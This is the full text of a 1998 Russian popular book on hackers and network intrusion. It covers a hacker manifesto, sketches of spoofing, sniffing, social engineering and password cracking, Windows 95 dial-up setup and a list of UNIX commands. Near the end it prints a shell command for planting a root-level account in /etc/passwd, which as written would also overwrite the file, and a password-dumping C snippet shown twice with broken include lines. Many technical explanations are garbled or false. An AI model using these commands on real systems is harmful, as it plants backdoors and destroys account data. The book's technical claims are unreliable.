Книгу можно купить в : Biblion.Ru 37р.
Оцените этот текст:


---------------------------------------------------------------
 © Copyright Борис Леонтьев
 Home page:  http://members.rotfl.com/bobleon/
 Email: bobleon@uniinc.msk.ru
---------------------------------------------------------------

     ББК 32.973
     УДК 681.3
     Главный редактор
     Дмитрий Царик
     Корректор
     Ирина Царик
     Художник-дизайнер
     Борис Леонтьев
     Леонтьев Б.
     Л80   Хакеры,   взломщики  и   другие  информационные  убийцы.  --  М.:
Познавательная книга, 1998. -- 192 с.
     ISBN 5-88548-067-2
     Очевидно,  что смысл Сети сетей состоит в  разумности ограничения круга
пользователей  того  или  иного  сервера.  Если  подобный  сервер  закупорен
полностью, то и работать  может  с ним лишь тот, кто его закупорил. Поэтому,
любая  компания,  прежде  чем  принять  решение о  вступлении  в  сообщество
Internet, дает себе отчет  в том, что существует возможность проникновения в
свой  главный  сервер неких  посторонних лиц.  Вот эти  посторонние  лица  и
называются хакерами...
     Copyright ╘ Борис Леонтьев, 1998.
     Copyright ╘ Издательство "Познавательная книга плюс", 1998.
     Copyright ╘ Design Studio M&C, 1998. Оформление серии и этой книги.
     Copyright  ╘  Издательство  "Утро" совместно с  фирмой "Олег и  Павел",
1998.
     Авторские права  на  настоящую книгу, название серии "Кратко, доступно,
просто" и  оформление самой серии  принадлежат Борису Леонтьеву.  Полное или
частичное копирование книги, а  также публикация  других рукописей  в рамках
этой  серии без  разрешения правообладателя является  нарушением  авторского
права  и может иметь юридические  последствия  в соответствии с  действующим
законодательством.
     Вся   информация,   опубликованная   в  этой   книге   представлена   в
исключительно образовательных  целях, а  также  для  повышения  квалификации
программистов,  системных  администраторов  и  провайдеров  Internet.  Автор
предупреждает читателей этой книги, что  он не несет никакой ответственности
за  те   последствия,  которые  могут  возникнуть  в  результате  проведения
экспериментов с предоставленной информацией.
     Все названия продуктов,  упомянутые в  этой  книге, являются  товарными
знаками    или   зарегистрированными   товарными   знаками   соответствующих
организаций.
     Программное   обеспечение,   описанное  в  этой   книге,   поставляется
исключительно   по  лицензионному   договору  и  может  использоваться   или
копироваться  только в соответствии  с условиями этого договора. Копирование
этого  программного обеспечения на какой-либо носитель  информации,  если на
это  нет  специального  разрешения  по   лицензионному  договору,   является
нарушением Закона Российской Федерации "О правовой охране программ для ЭВМ и
баз данных" и норм международного права.
     ЛР  No  069954  от 01.12.1991  г. Сдано  в  набор 06.07.98. Подписано в
печать 06.09.98. Формат 60X84/16.
     Бумага типографская. Гарнитура "Newton". Печать офсетная.  Физ. печ. л.
12. Тираж 5 000 экз. Заказ 48.
     Hacker's Manifest
     This is our world now... the world  of the electron and the switch, the
beauty of the baud.
     We make use of a service already existing without paying for what could
be dirt  cheep  if  it  wasn't run by profiteering gluttons, and you call us
criminals.  We explore...and  you call  us criminals. We  exist without skin
color,  without  nationality,  without  religious  bias...and  you  call  us
criminals. You build  atomic bombs, wage wars, murder, cheat,  and lie to us
and try to make us believe it is for our own good, yet we're the criminals.
     Yes,  I am  a criminal. My crime is that of curiosity. My crime is that
of judging people by what  they say and  think,  not what they look like. My
crime is that of  outsmarting you, something that you will  never forgive me
for. I am  a hacker and this is my manifesto.  You may stop this individual,
but you can't stop us all... after all, we're all alike.
     Кто такие хакеры
     Очевидно, что смысл Сети сетей  состоит в разумности  ограничения круга
пользователей  того  или  иного  сервера.  Если  подобный  сервер  закупорен
полностью,  то и работать может с ним лишь  тот, кто его закупорил. Поэтому,
любая  компания,  прежде  чем  принять  решение  о  вступлении в  сообщество
Internet, дает себе отчет  в том, что существует возможность проникновения в
свой  главный  сервер  неких посторонних  лиц.  Вот  эти  посторонние лица и
называются хакерами.
     Да, хакеры -- это те, кто взламывают сети.
     Делается это разными способами. Например, через порт терминала или порт
электронной почты.
     Выбрав  жертву,  хакер прежде  всего определяет, имеются ли на  сервере
плохие  пароли,  плохо  настроенный софт или испорченная операционка.  Затем
выбирается  метод  собственной  безопасности. Самый  распространенный способ
проникнуть в сеть так, чтобы остаться незамеченным -- это взлом по цепочке.
     Существуют тонны программ, посредством  которых  компьютер может  вести
поиск  пароля  через перебор  некоторого словаря имен. Сложнее вскрыть сеть,
если пароль логина имеет больше шести символов, чувствителен  к регистру или
содержит цифры.
     Но!  В  настоящее время  многие  сети  открывают  к  себе доступ  через
автоматическое  прохождение  системы паролей. Эта система  построена  на так
называемом файле паролей. В этом файле перечисляются доступные компьютеры  и
пароли сети. Что делает хакер? Он  вламывается в сеть и скачивает этот файл.
Все!
     Другой   способ  взлома   --  взлом  через   отладочные   переключатели
операционных систем.  Как известно эти переключатели могут иногда находиться
во  включенном  состоянии.  Кроме  всех  этих  вышеперечисленных  приблудов,
конечно же, широко используется предварительная вирусная атака.
     Взломав сеть,  хакер заметает следы  и  уничтожает всю компрометирующую
себя информацию. И через некоторое время сматывается.
     Любой  квалифицированный  хакер  через  обыкновенный  факс-модем  может
проникнуть даже в  компьютер правительственного учреждения  и,  при желании,
настолько внедриться в  любую  как  бы то  ни было защищенную  систему,  что
просто-напросто  разрушит   ее.  Так   оно  и  было.   Достаточно  вспомнить
злополучный сегмент  Milnet сети сетей и  всем известную  лабу Rome ВМС США.
Да, это был настоящий  кошмар,  когда один  из этих  чудаков-хакеров  творил
безобразия в течение недели на одной из самых секретных военных баз Америки!
     Вскрыть сеть  можно  и  с помощью  обыкновенного  факс-модема или  даже
факс-аппарата.  Ведь  в  любой  достаточно крупной компании факс подключен к
LAN! А это значит, что через номер факса  хакер открывает доступ к заветному
шлюзу. Любой более или менее серьезный (или даже несерьезный) хакер Internet
ориентируется   на   локальную   сеть.  Ему   интересен   софт   защиты   от
несанкционированного доступа. Он спит новыми  версиями  firewall. Он смеется
при  упоминании дурацкого "брандмауэр".  Sun! Sun! Sun! На  мир  Робин-Гудов
надвигается шерифовский  Sun!  Все! Все погибли! Все хакеры стали системными
администраторами! Они исправились. Они больше не будут...
     Да-да,  системные  администраторы  утверждают, что именно брандмауэр  и
есть  то самое  устройство, размещенное  между локальной  сетью  и Internet,
позволяющее  разного  рода придуркам отстать от нашего  сервера. Вот именно,
что только придуркам. Настоящим придуркам! Лицезреете пакетики для остановки
шпионского  трафика?  А  хакер давно завладел  всеми функциями подтверждения
полномочий!  На самом  деле хакер  может сам  проверить входные  и  выходные
данные.
     Многие  сисады  боятся  прощупывания их хакерами.  И  многие знают, что
закупорка пакетов UDP может остановить вскрытие.
     Почему?  Потому  что  сработает защита!  Да,  хакер блокирует пакеты, а
поэтому любые входы через TCP так  же блокируются. Но проблема в том, что  в
разработке самых умных брандмауэров участвуют те самые хакеры! А почему бы и
нет?  Почему бы и  не написать  код  вирусной  программы, а потом  придумать
соответствующий   антивирус!   Многие   считают,  что  все-таки   существует
возможность  вызвать  мастера,  который  поставит  стальную  дверь с цветным
домофоном. И многие надеются на эти самые  брандмауэры Internet.  Это далеко
не так.  Да, Firewalls способны изолировать локальные  сети  от  вскрытия из
Internet посредством  экранирующих маршрутизаторов,  двусторонних  шлюзов  и
барьерной хост-машины. Но! Проблема в том, что это  известно каждому хакеру.
Экранирующие  маршрутизаторы?  Прекрасно!  Проверка  адреса  IP и  закупорка
фальшивого  трафика?  А  кто говорит,  что это не  так?  Все  верно! Купорим
трафик.  А  как насчет  Telnet и  username/password logon?!  Terminal Access
Controller Access System? Включайте! Но это стоит больших денег.
     Многие  компании  защищаются   электронными  карточками.   Поэтому   их
вскрывают меньше  других.  Это дело действительно грамотно сконфигурировано.
SecurID   Card  имеет  только  тот  юзер,  который  имеет   право   доступа!
Соответствующая  прикладнуха  идентифицирует истинность юзера  через двойную
проверку счета и персональный код.
     Это  все,  действительно, хорошо,  за  исключением  тех  случаев, когда
простой народ подает в суд.  Не проще ли, господа,  просто  повесить трубку?
Пусть всегда будет занято? Или нет?
     А многие, ради эксперимента, допускают к своим сетям хакеров. Результат
бывает плачевным. Хакеры проникают в массу секретных систем, получают полный
контроль и делают так, что их  никто не может  обнаружить в течение  долгого
времени.
     Хакеры  пользуются  ошибками софта. Они  знают, что  система заработает
сама по себе  и  конфиденциальная информация будет качаться  туда,  куда  ей
необходимо  качаться. Бывают, конечно,  и "случайные ошибки". А почему бы  и
нет?  Могут  быть  в   софте  такие  ошибки.  Преднамеренные...  Программные
закладки,  программные  закладки...  Хакеры  используют их  для тех или иных
операций на удаленной машине. Да, действительно, хакеры используют эти самые
закладки  в  своих  межсетевых махинациях! И если  ваша  система  есть  узел
коммутации  телекоммуникационной  сети, то  хакеры могут  расчленить  сеть и
воспользоваться расчлененным файлом  паролей. Именно таким образом на Венеру
не полетел  космический  корабль!  Почему?  Да  потому,  что оператор вместо
запятой  поставил точку.  А  как  насчет  100  000  долларов,  которые  были
позаимствованы   неким  анонимным  подлецом   во  Внешэкономбанке  нерушимой
республики свободной?
     Хакеры,  действительно,  могут свести на  нет  безопасность  информации
любого  сервера!  Кто же  они  такие? Хорошие программисты? Бывшие системные
администраторы?  Обыкновенные   студенты?  Нигилисты?  Оскорбленные   юзеры?
Вундеркинды из компьютерной школы?
     Методы хакинга: Спуфинг
     Известно,  что  любая  система защиты  типа  Firewall  позволяет "жить"
только  определенным  адресам  IP.  Это  весьма  серьезное  препятствие  для
проникновения  в  сеть. Поэтому хакеры  нашли метод  для  преодоления  этого
барьера - спуфинг IP. Сначала  хакер выясняет, какие из адресов IP  проходят
через firewall, затем использует  один  из вычисленных  адресов  в  качестве
своего  и  таким образом получает доступ к системе. Впрочем,  это  не всегда
так.  Например,  известная  система  защиты  FireWall-1  действительно  дает
возможность   установить   прозрачное  подключение  к  Internet,   используя
практически весь диапазон  протоколов  межсетевого взаимодействия, обеспечив
при  этом  некоторую (только в  третьей  версии этого экрана  была  залатана
дырка,  сидевшая  в  кодировке  данных и идентификации клиента-пользователя)
защиту сети. Многих администраторов, конечно, радует интуитивный графический
интерфейс этой системы, а хакеров пугает  многопротокольная проверка пакетов
с так  называемым  учетом состояния протокола (SMLI), поэтому  они стараются
просто обходить сети с FireWall-1, оставив спуффинг для другой системы.
     Многие   системные  администраторы  считают,  что  все-таки  существует
возможность  вызвать  мастера,  который  поставит стальную  дверь  с цветным
домофоном. И многие, конечно, надеются на эти самые брандмауэры Internet.
     Позволю себе  заметить, что это далеко  не  так. Да, Firewalls способны
изолировать локальные сети от вскрытия  из Internet посредством экранирующих
маршрутизаторов, двусторонних шлюзов и барьерной хост-машины. Но! Проблема в
том,   что  это  известно  каждому   хакеру.  Экранирующие   маршрутизаторы?
Прекрасно! Проверка адреса IP и закупорка фальшивого трафика? А кто говорит,
что  это  не  так?  Все  верно!  Купорим  трафик.  А  как  насчет  Telnet  и
username/password  logon?!   Terminal   Access  Controller  Access   System?
Включайте!
     Методы хакинга: Сниффинг
     Сеть TCP/IP -- это около 150 дырок, сквозь которые открывается доступ в
систему (TCP/IP  -- протокол, через  который  устанавливается  исключительно
обоюдное постоянное соединение). Это так и еще раз  так. И  в первую очередь
потому, что любой, кто регистрируется  в сети TCP/IP (через telnet или  ftp)
посылает  данные о  своем  пароле  в обыкновенном  IP-пакете. Поэтому, чтобы
получить пароль и  логин, достаточно выследить подобный пакет, приходящий на
известный адрес,  то есть захватить трафик. Далее у  хакера будет выбор.  Он
может получить реквизиты чайника. Тогда доступ в систему будет ограниченным.
Но если он получит пароль системного администратора, то сможет скачать  файл
паролей всех пользователей системы.
     Сниффинг - один  из самых  популярных методов  воровства данных в  сети
(паролей,  имен  пользователей,  ключей  и  т.д.)  посредством  специального
программного обеспечения (так называемых снифферов).  Снифферы, как правило,
доступны лишь системным  администраторам, так как эти системы весьма дорогие
и  не по карману даже самому крутому хакеру.  Если  сниффер попадает в  руки
хекера, то он сможет весьма эффективно контролировать  сеть, захватив пароль
и идентификационное имя системного администратора.
     Атака  посредством сниффинга не предусматривает  создание  собственного
фальшивого адреса IP для обмана фильтрующей системы адресов. И в самом деле,
зачем  нужен  фальшивый  IP,  если замедляется только скорость  входящего  в
систему  потока  информации.  Это означает, что все можно списать  на плохое
качество связи.
     Лидер среди всех снифферских лидеров -- это пакет IP-Watcher 1.0:
     n выборочное отслеживание пакетов IP.
     n захват активного соединения.
     n закупорка сетевых соединений.
     n закрепление на удаленной системе.
     n прерывание активного соединения TCP.
     n совместное использование нескольких
     соединений.
     n невозможность идентификации
     n административным мониторингом.
     Самый  смак  пакета  IP-Watcher  заключается  в  том,  что  хакер может
продлить жизнь  соединению после его  разрыва  пользователем. Хакер загоняет
пользователя  в  ловушку. Сначала он захватывает  трафик. Затем  рвет связь.
Ждет. Пользователь опять входит  в систему и регистрируется. Пароль у хакера
в кармане.
     Выборочное отслеживание пакетов  IP  позволяет, например, перехватывать
только  идентификационные данные или файлы любого компьютера,  принадлежащие
серверу.
     Методы хакинга: Мусорные бачки
     Хакеры часто исследуют мусорные бачки крупных компаний и иногда находят
счета за  телефонные  переговоры, внутренние  телефоны  компании,  различные
технические руководства, номера кредитных карточек и т.д.
     Методы хакинга: Ловля на дурачка
     Каждый  хороший  хакер  обладает  превосходными  навыками  в  искусстве
пудрить   мозги.  Например,  хакер  может  заручиться   доверием  системного
администратора  с  тем,  чтобы   получить  доступ   к  секретной  информации
посредством простого телефонного разговора, в  котором он  представит себя в
качестве какого-нибудь техника-смотрителя.
     Методы хакинга: Взлом паролей
     Самый простой путь - интуиция хакера  (названия песен, имена  актеров).
Более  сложный  - через  специальную программу,  которая  автоматически ищет
пароль с помощью словаря.
     У хакеров имеется  огромное  количество методов для выяснения паролей и
получения  доступа к  сетям. Эти методы  варьируются от  простых  (запись  в
отдельный log-файл  нажатий  клавиатуры) до изысканно сложных  (дешифрование
огромных баз данных).
     Кошмарные ночи системных администраторов
     Sysad не спит. Он на работе. Он не может спать. А ему так хочется...
     Нужно сказать,  что в  основной  своей  массе  системные  операторы  --
закоренелые   недалекие  пользователи.   Именно   из-за  них   и  происходит
большинство взломов.  Нет,  не  из-за их некоммпетентности, а  скорее  из-за
хамского  поведения  этих сетеподобных  личностей. Сисасады терпеть не могут
придурковатость обыкновенных юзеров. Они их считают недоучками. А если среди
этих недоучек попался хакер!? Пусть попробуют? Вот люди и пробуют. Пробуют и
у них  получается! Сисад смотрит на  дисплей.  Работает  сисад. А  машина-то
тормозит. Почему это она тормозит? Нет,  не понять это  ему. А  где  же этот
файл? А  это, что за папка? Почему  этот файл стал  больше на  сто килобайт!
Боже, какой я дурак! Меня вскрыли! Ма-а-а-а-а-ма!
     Нет,  сисад не теряется.  Сисад  умный.  Сисад  быстро  проверяет  файл
паролей.  Файл паролей! О,  май год! Его скопировали!  Вот  он этот странный
вход. Я  нашел!  Я же говорил,  что нельзя делать столько привилегий! Все, я
погиб... пошла вирусная атака.
     И  не помнит сисад, что накануне весьма грубо отвечал  какому-то дураку
по  обыкновенному  войсовому  телефону.  А этот кто-то и оказался тем  самым
подлым взломщиком. Хе-хе.
     Доступ к Internet, Windows 95 и
     Russian Online
     Итак,  у  вас имеются  модемный  номер доступа  (258-4120),  имя домена
(online.ru), subnet mask (255.255.255.0), первый адрес DNS  (194.67.1.154) и
второй адрес DNS (194.67.1.155).
     Поехали настраивать Windows. Нажимаем Network. Выбираем  Configuration.
Удостоверяемся,   что  присутствуют   Dial-up  Adapter  и   TCP/IP.   Далее,
конфигурируем   TCP/IP    Dynamic   IP    Address.    Теперь   конфигурируем
соответствующий  драйвер для Windows 95.  В папке Control Panel  щелкаем  на
Network, далее на TCP/IP Protocol  и  Properties. В появившемся диалоге в IP
Address  выбираем Obtain an IP Address automatically  option, в конфигурации
WINS выбираем Disable WINS Resolution (компания всех провайдерских  компаний
Sovam Teleport не обязывает  вводить IP-входной номер).  Исходя из последних
скобок Client Microsoft  Networks  оставляем без  изменений, а  в пункте DNS
Configuration выбираем опцию Enable DNS.
     Теперь  вводим  собственный localname  в  поле Host, а  в  поле  Domain
вписываем  доменовское простое и понятое online.ru. В поле DNS Server Search
Order вписываем договорный IP адрес сервера (194.67.1.154) и нажимаем кнопку
Add. Поле Domain Suffix Search Order оставляем без изменений.
     Наконец, нажимаем  кнопку ОК, перезагружаемся,  вновь входим в  Windows
95, открываем My Computer и щелкаем на иконке Dial-up Networking. В Make New
Connection  вписываем любое название иконки. Нажимаем Configure, попадаем  в
диалог General и ставим скорость работы в сети.
     Дальнейшие действия должны быть вам понятны. Помните, что в Server Type
в поле Type of Dail-up  Server  вы должны выбрать РРР. При этом опция Log on
to network  в  Advanced Options  должна  остаться неактивизированной!  Кроме
всего этого долбанного бреда обратите  внимание  на  опцию TCP/IP в  Allowed
network protocols. Эта чудная опция должна быть отмечена.
     Далее,  конфигурируем  модем для автоматического  набора в случае, если
линия  занята.  Из  Dial-up Networking  folder  выбираем  Connections, затем
Settings и, наконец, необходимое количество соединений.
     Теперь щелкаем на созданной пиктограмме,  входим в  Connect to и вводим
UserID  в  чудаковато-придурковом формате  UserID@online.ru.  Вводим пароль,
нажимаем  Connect,  входим в систему,  тыкаем  на  F7  и,  игнорируя  диалог
Connected to Dial-up PPP, попадаем в до боли знакомую Сеть.
     Как стать хакером
     Дальше идут шуточки шуточек.
     Стать хакером очень просто.
     Достаточно выучить и понять: математические дисциплины  (математический
анализ, теорию функций  комплексного переменного, алгебру, геометрию, теорию
вероятностей, математическую статистику, математическую  логику и дискретную
математику),    инженерные   дисциплины    (физику,   аппаратные    средства
вычислительной  техники,  основы  радиоэлектроники,  сети  связи   и  защиту
информации  от  технической  разведки),  дисциплины  по  программированию  и
вычислительной технике (информатику, языки программирования высокого уровня,
методы  программирования,  язык  ассемблера, операционные  системы,  системы
управления  базами  данных и  вычислительные  сети), специальные  дисциплины
(криптографию и теоретические основы защиты компьютерных систем).
     Это достаточно  полный  список. Но  если же  говорить о более подробных
хакерских вещах, то вам необходимо знать, что на свете существуют:
     n криптографические методы в системах
     защиты государственной,
     конфиденциальной и коммерческой
     информации.
     n криптографические методы и средства
     защиты и дешифрования информации.
     n математические методы расчета
     надежности шифрсистем.
     n математические модели процессов,
     возникающие при защите информации.
     n методы решения вероятностных,
     статистических и алгоритмических задач
     криптографического анализа, синтеза
     шифрсистем и криптографических
     протоколов.
     n методы определения угроз безопасности
     информации.
     n методы построения математических
     моделей защищаемой информации,
     шифров и шифрсистем.
     n методы преобразования информации
     в сетях различного типа.
     n методы прогнозирования оценок
     криптографической стойкости.
     n обеспечение надежности
     функционирования аппаратуры
     шифрования и тестирования
     программно-аппаратных реализаций
     криптографических алгоритмов.
     n общая методология криптографического
     анализа и построения оценок
     криптографической стойкости
     шифрсистем.
     n определение каналов утечки информации
     методикой измерения и расчета
     параметров опасных сигналов.
     n основные положения теории
     электрических цепей.
     n основные принципы организации систем
     и сетей связи и особенности
     современных сетевых архитектур.
     n основные типы шифров, шифрсистем,
     криптографических протоколов и
     способы выбора системы защиты.
     n особенности разработки и сопровождения
     программного обеспечения для рабочих
     групп и парапрограммирования.
     n принципы построения шифров,
     шифрсистем и криптографических
     протоколов.
     n типовые методы криптографического
     анализа и оценивания
     криптографической стойкости.
     Хакер или взломщик?
     Многие  думают,  что  смысл  существования  хакеров  состоит  в  травле
несчастных  юзеров Internet. Именно  к  таким типам,  наверное,  и относится
Клиффорд  Столл,  выследивший  чудаков  из  Германии, продававших  секретную
компьютерную информацию коммунистам. Наверное, он прав. А вот Роберт Моррис,
автор знаменитого червяка-разрушителя, считает, наверное, по другому.
     Что же может сделать простой хакер? Хакер или взломщик? А есть ли между
ними  разница? Есть мнение, что многие вирусники как раз и пишут антивирусы.
Значит, есть  и хакеры-взломщики или,  нет -- взломщики-хакеры. Впрочем, все
равно информационные убийцы. Как же  эти убийцы узнают пароли,  вторгаются в
Internet и заражают программы на уровне протокола передачи файлов?
     Используя особый софт, который вы можете скачать из Internet, вы можете
сами стать хакером. Наберите в Yahoo шизофреническое "crack"...
     Взлом сети
     Возможен,  например,  с помощью  Internet.  Достаточно  похитить пароль
через  удаленный доступ по протоколам FTP или Telnet. В этом случае у хакера
имеется возможность  перехватить  трафик  и  с  помощью  какой-нибудь ищейки
поймать  идентификаторы пользователей,  а если  повезет, то и  тонны паролей
того или  иного узла. Задача хакера --  получить пароль высокого  уровня, то
есть пароль супервизора, и уже  с помощью  этой информации  захватить пароли
всех остальных юзеров узла.
     Хакер может войти в сеть в  качестве удаленного пользователя под  видом
проверки электронного почтового ящика. Как правило,  пароли для  электронной
почты весьма простые, и иногда поддаются расшифровке с первой попытки.
     Хакеры-профи применяют более  действенные методы  взлома. Речь идет  об
угоне   соединения   TCP.   Схема   проста.   Как   только   реальный   юзер
идентифицируется узлом,  хакер  переключает соединение на себя и  передает в
циклическом  режиме  по  TCP   ряд  цифр  до  тех  пор,  пока  не   получает
последовательность  номеров, через  которую  можно подойти к середине сеанса
связи,  а затем отконнектить юзера. То  есть, хакер не  тратит  зря время на
ломку весьма сложной системы шифрования или раскодировку сеанса регистрации.
Нет! Хакер угоняет весь сеанс регистрации.
     Хакер  может  также воспользоваться ошибками  программного  обеспечения
выбранного узла. Ошибки кодов софта,  обслуживающего удаленных юзеров -- это
беззащитные   дырки.   Например,    знаменитый   Netscape   Navigator    без
конфигурирования защитных  параметров  или  пиратская программа  для  чтения
электронных сообщений, или сценарии  (о  них читайте ниже)  CGI со свободным
входом.
     Возьмем,  например, знаменитую Microsoft  и ее  детище  Windows. Многие
применяют  стек  TCP/UP  этой  системы.  Каждому  же  хакеру  известно,  что
динамическая библиотека  данных, отвечающая  за  этот стек, написана,  мягко
говоря, некорректно, то есть, при большом  желании хакер может по любому  из
протоколов  семейства  TCP/IP  получить  доступ  к   содержимому  винчестера
выбранного хоста.
     Действия системного администратора на хакерские прибамбасы
     n уничтожение подозрительных экаунтов.
     n мониторинг системы.
     n чтение чужой электронной
     корреспонденции.
     n отключение ARP.
     n построение сети без NFS.
     n использование машины без NetBIOS
     над TCP/IP.
     Шлюзовой интерфейс CGI-BIN
     В   подавляющем   числе   удаленных    компьютеров   каталог    CGI-BIN
зарезервирован для  исполняемых файлов.  Это  означает,  что файлы  из этого
каталога  могут  быть запущены  через Web.  Обычно в этом каталоге  хранятся
сценарии на языке PERL, которые запускаются на удаленном сервере
     Web-программой  CGI  (вы   просто  нажимаете  кнопку  Submit,   которая
сформирована кодом формы HTML, написанным для исполняемой  программы CGI). В
этот  каталог, при большом желании, можно поместить и другие файлы,  имеющие
такое  же отношение  к  общему  шлюзовому  интерфейсу, как  и  Билл  Гейтс к
созданию UNIX.
     Гипертекстовый язык предоставляет только информацию для чтения, то есть
модифицировать  Web-страницы  может  лишь  их  автор.  Но!  Используя  общий
шлюзовой  интерфейс   CGI,  можно  добавлять  некоторые   операторы  HTML  в
сгенерированную страницу. Это означает, что вы можете запросить информацию у
Web-сервера, затем запустить поисковый софт и получить то, что вы хотите. Вы
просто вставляете нужные  вам операторы гипертекстового языка в существующую
Web-страницу. Ваша задача -- найти Web-сервер, который  использует CGI и тем
самым способный запускать различный софт.
     Файлы общешлюзового  интерфейса -- это не обыкновенные  текстовики, это
вполне полноценный  софт  (в  частности,  когда  вы  блуждаете  по  Web,  вы
используете CGI). Софт этот (как правило, код пишется на языке сценариев
     Perl -- Practical Extraction  and Report Language)  хранится в каталоге
CGI-BIN  нужного вам  сервера Web.  Хакер  взламывает  сервер,  находит этот
каталог, запускает программу CGI, передает ей подготовленные им  данные, она
их  обрабатывает,  возвращает   на  броузер  хакера  результат  и,  наконец,
преобразовывает уже свои данные в нужную хакеру гипертекстовую страничку.
     Как это  делается? Хакер нажимает Submit  и броузер  начинает  работать
согласно инструкциям  оператора ACTION таким  образом  (происходит  передача
ключей и  значений), что удаленный компьютер запустит сценарий из удаленного
каталога CGI-BIN. К исполняемым файлам каталога CGI-BIN доступ  неограничен.
Поэтому, к примеру, хакер может поместить в  этот каталог  программу  чтения
файлов паролей или небольшую приблуду, позволяющую заменять файлы.
     Демоны команд
     Если вы хотите установить связь с удаленным компьютером  и запустить на
нем демона команды finger, то попробуйте вставить вместо name символ кваквы,
а после кваквы указать  имя удаленного компьютера или  его IP-адрес (имеется
ввиду Telnet). Хакер через эту же квакву может запустить демона какой-нибудь
другой команды. Речь всего-навсего идет о синтаксисе некоторых команд.
     Телнетимся и еще раз телнетимся
     Многие знают, что telnet используется для:
     n регистрации на удаленном компьютере.
     n использования софта Internet, в том
     числе клиентских программ на
     удаленном компьютере.
     n запуска любого доступного софта на
     удаленном компьютере.
     Хакер обращает внимание на последний  из вышеперечисленных фактов и  на
нижеследующие телнетовские сайты:
     anarchy-online.com
     ntiabbs.ntia.doc.gov
     l0pht.com
     sfpg.gcomm.com
     telnet lust.isca.uiowa.edu порт 2600
     pcspm2.dar.csiro.au
     prince.carleton.ca порт 31337
     Любимые хакерами команды UNIX
     Ниже мы  приводим  краткое  описание  команд  UNIX,  без  которых  этой
операционной системой никто бы не пользовался.
     at
     Вы указываете день/час когда выполнится команда.
     batch
     Выполнение команд в процессе загрузки.
     chmod
     Этой командой вы можете изменить полномочия файлового доступа.
     chown
     Был у файла один хозяин, а стал другой.
     cron
     Это демон таймера, точнее демон команд
     batch и at.
     crontab
     Вы можете указать промежутки времени, в течение которых будут выполнены
какие-либо команды.
     ftp
     Работаем с удаленным компьютером. Принимаем или пересылаем файлы.
     kill
     Послать некоторому процессу сигнал о конце работы.
     logname
     Хочу получить регистрационное имя.
     mail
     Прием или пересылка электронных сообщений.
     news
     Отобразить статью из конференции Usenet.
     nslookup
     Получить сведения об IP-адресе домена.
     passwd
     Создать/изменить пароль.
     ps
     Просмотреть, какие процессы в текущий момент времени активизированы.
     pwcheck
     Этой командой вы можете проверить файл  паролей. По умолчанию этот файл
лежит в каталоге /etc/passwd.
     rm
     Стереть файл или каталог.
     sleep
     Не выполнять команду в конкретный промежуток времени.
     su
     Умело  используя  эту  команду,  хакер  может  стать  привилегированным
пользователем.
     telnet
     Доступ к удаленному компьютеру.
     umask
     Если вы  только  создаете файл, то  этой командой вы можете задать  так
называемую маску полномочий этого файла.
     uucp
     Копируем файлы из одного компьютера UNIX в другой.
     uuname
     Отобразить список хостов UUCP.
     uux
     Выполнение команд UNIX на удаленном компьютере.
     who
     Отобразить список текущих пользователей.
     whois
     Получить информацию о текущем пользователе.
     write
     Переслать записку текущему пользователю.
     Кого взламывают в UNIX
     В мире хакеров и киберпанков существует небольшая градация юзеров UNIX.
     n Technical Thug. Обычно системный
     программист, пишущий скрипты на sed,
     C, awk, perl и APL.
     n Administrative Fascist. Законченный
     тунеядец, вынужденный стать системным
     администратором UNIX.
     n Maniac. Взломщик с большим опытом.
     Правда, его талант в области
     компьютерного шпионажа не
     оплачивается ни Мосадом, ни Кубой.
     n Idiot. Обычно кретин или старый
     программист на Коболе, выбранный
     системным администратором
     Международным Комитетом кретинов.
     Лазейка, возникающая при передаче файлов через rcp
     Если параметр rcp утвержден  в  файле config.tel,  то это означает, что
открыт доступ в систему из Internet.
     Новый экаунт
     Чтобы создать новый экаунт, хакер использует следующую конструкцию:
     # cd /home;
     mkdir "Bob's home directory"# echo "Bob Leontyef:
     gandalf:0:0::/dev/tty:compress -f" > /etc/passwd
     Он  может также написать  сценарий  на Perl,  который  создает исходный
каталог и копирует данные в /etc/passwd, /etc/shadow и /etc/group.
     Файл паролей
     Доступ к  файлу паролей  может  быть  даже у простого  пользователя.  В
стандартном UNIX файл  паролей находится  в  каталоге  /etc/passwd. В других
системах этот файл может находиться в другом месте. Кроме того, файл паролей
может быть скрытым.
     Пароли  в   этом  файле  зашифрованы.  Расшифровкой   или   извлечением
занимаются специальные  программы. Именно они и предоставляют  в руки хакера
самый главный пароль -- суперюзера root.
     В файле паролей содержатся семь идущих по порядку вещей:
     n Username
     n Encrypted password
     n User number
     n Group Number
     n GECOS Information
     n Home directory
     n Shell
     Например,  файл  паролей  из   /etc/passwd  может  быть  представлен  в
следующем виде:
     bob:5fg63fhD3d5gh:9406:12:BobLeontyef:/home/fsg/will:/bin/bash
     Эта запись переводится так:
     n Имя пользователя: bob
     n Расшифровка пароля: 5fg63fhD3d5gh
     n Номер пользователя: 9406
     n Номер группы: 12
     n Информация GECOS: Bob Leontyef
     n Каталог по умолчанию: /home/fsg/will
     n Shell: /bin/bash
     Unix-пароли  расшифровываются  только   одним   способом.   Специальная
программа  расшифровывает   текст,  который  вводится   в  поле  password  и
сравнивает этот текст с формой дешифровки.  Поэтому софт, крякающий  пароли,
использует  коллекцию  различных  слов  или  словари. Каждое  слово в  таком
словаре расшифровывается и  сравнивается  с  формой  encrypted  поступающего
пароля.
     Лучшая крякалка паролей для Unix -- Crack  by Alec Muffett, для  DOS --
CrackerJack.
     В UNIX широко применяется система скрытых паролей:  область /etc/passwd
заменяется специальным  символом,  а метод расшифровки  хранится в отдельном
каталоге, который доступен только пользователю root. Атака на многие скрытые
пароли  осуществляется  через  специально   написанную   программу,  которая
использует последовательные запросы к getpwent, например:
     #include 
     main()
     {
     struct passwd *p;
     while(p=getpwent())
     printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
     p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
     }
     Маленький исходник для скрытого файла паролей
     #include 
     main ()
     {
     struct passwd *p;
     while(p=getpwent ())
     printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
     p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
     }
     Конфигурация Linux и подключение к удаленному узлу
     Скрипт удаленного  подключения  лежит в  /usr/local/sbin/initppp. Далее
идут конструкции:
     #!/bin/sh
     PPPD = "/usr/sbin/pppd"
     $(PPPD) connect '/usr/sbin/chat -v "" ATZH0Q0M1 OK ATDT3560100 \
     CONNECT "" ogin: Suserid word: "`cat /etc/ppp/password`"' \
     /dev/modem 115200
